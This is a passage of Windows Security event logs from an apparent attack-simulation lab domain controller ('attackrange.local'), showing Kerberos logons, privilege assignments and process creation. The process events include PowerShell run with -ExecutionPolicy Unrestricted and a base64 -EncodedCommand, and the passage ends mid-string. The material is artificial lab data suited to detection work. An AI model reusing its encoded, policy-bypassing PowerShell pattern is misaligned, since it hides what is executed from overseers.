Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249931
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1B1A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249930
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF1B1A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64351

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249929
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1B1A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249928
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1AB4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249927
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF1AB4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64350

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249926
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1AB4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249925
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1A53

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249924
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xF1A53
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64349

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249923
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF1A53

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249922
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF16DD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249921
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF16DD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249920
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249919
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249918
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249917
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249916
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x938
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249915
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF03A5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249914
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF03A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249913
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249912
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249911
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249910
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf28
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAE